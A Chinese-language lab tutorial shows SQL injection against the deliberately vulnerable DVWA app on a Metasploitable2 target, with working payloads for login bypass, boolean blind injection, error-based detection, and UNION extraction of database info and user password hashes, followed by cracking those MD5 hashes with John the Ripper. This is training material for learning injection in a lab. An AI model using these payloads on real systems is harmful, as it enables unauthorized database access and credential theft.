目录
SQL注入原理理解
基于bool的检测
基于bool的盲注
基于报错
利用sql注入漏洞,爆破用户名和密码
实验环境
kali-linux-2021、靶机Metasploitable2-Linux
kaliIP地址:192.168.1.100
靶机IP地址:192.168.1.8
实验过程
SQL注入原理理解
一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。
打开DVWA页面,登录,然后修改DVWA Security等级为Low点击submit。
网页登录:192.168.1.8
用户名:admin
密码:password
然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码
基于bool的盲注
注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length() 返回长度,ascii() 返回ASCII值,substr(string,a,b) 返回string以a开头 长度为b的字符串,count() 返回数量。
当我们猜测当前的数据库名长度是否大于5,输入1' and length(database())>5#,没有返回任何参数,说明数据库名长度小于5
当输入1' and length(database())>3#,返回了数值,说明数据库名长度在大于3小于5
判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,一词判断98、99、100
当测试到100时,则没有返回ASCLL值,所以确定ASCLL为100,对应字符:d
然后接着判断数据库第二个字符ASCLL是否大于97:1'and (ascii(substr(database(),2,1)))>97#
最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa
基于bool的检测
输入:1' and '1' = '1
不仅没有报错,还返回了数据说明有漏洞,我们可以根据返回的数据格式推测执行的SQL语言为
selece first-name,surname from user where id=' '
selece first-name,surname from user where id=' 1 ' and '1' = '1 '
and逻辑:前面为‘1’ 为真,后面 ‘1’ = ‘1 ’ 也为真。则整体为真。
我们实际可以把’ 1 ’ and ‘1’ = ‘1 ’ 替换为1(真)‘
所以上面上当与执行了
selece first-name,surname from user where id=’ 1 ’
基于报错
将安全等级调为low
输入一个单引号
返回如下
返回了错误,说明我们的单引号在数据库里面执行了,那么确认有SQL注入漏洞
利用sql注入漏洞,爆破用户名和密码
user()函数:查询当前数据库用户
输入1’ union select user(), 2-- 注意:不要忘了--后有空格,否则语法错误
@@datadir 获得DBMS路径
输入‘ union select user(), @@datadir-- 注意:不要忘了--后有空格,否则语法错误
@@hostname-- 获得主机名
输入' union select user(),@@hostname-- 注意:不要忘了--后有空格,否则语法错误
@@VERSION-- 获得数据库版本号
输入:' union select user(),@@version_compile_os-- 注意:不要忘了--后有空格,否则语法错误
database() 查询当前数据库名
char() :将数字转换为ASCII码
输入:’ union select user(),char(66)-- 注意:不要忘了--后有空格,否则语法错误
CONCAT_WS()将括号里面的所有内容作为一个字段
输入:’ union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()) ,null-- 注意:不要忘了--后有空格,否则语法错误
md5():计算括号里面数字的hash
substring_index()
输入:' union select database(),substring_index(USER(),"@",1)-- 注意:不要忘了--后有空格,否则语法错误
查询user列和passwd列内容
输入:' union select user,password from dvwa.users-- 注意:不要忘了--后有空格,否则语法错误
用户名 密码
admin 5f4dcc3b5aa765d61d8327deb882cf99
gordonb e99a18c428cb38d5f260853678922e03
1337 8d3533d75ae2c3966d7e0d4fcc69216b
pablo 0d107d09f5bbe40cade3de5c71e9e9b7
smithy 5f4dcc3b5aa765d61d8327deb882cf99
kali中操作
kali里面自带密码破解工具hash-identifier
在HASH:输入密码
保存成txt文件,格式必须为 用户名:密码hash 放入 xxx.txt
(这里我做的时候出现一个小错误,把dvwa-user-password.txt文件中pablo的密码写错了,因为好像不能直接复制粘贴,只能用手打)
john --format=raw-MD5 dvwa-user-password.txt
这里应该是四行,因为上面输错的原因,所以只返回三行,过程不变
john --format=raw-MD5 dvwa-user-password.txt --show
用户名:admin 密码:password
用户名:gordonb 密码:abc123
用户名:pablo 密码:letmein
用户名:smithy 密码:password
用户名:1337 密码:charley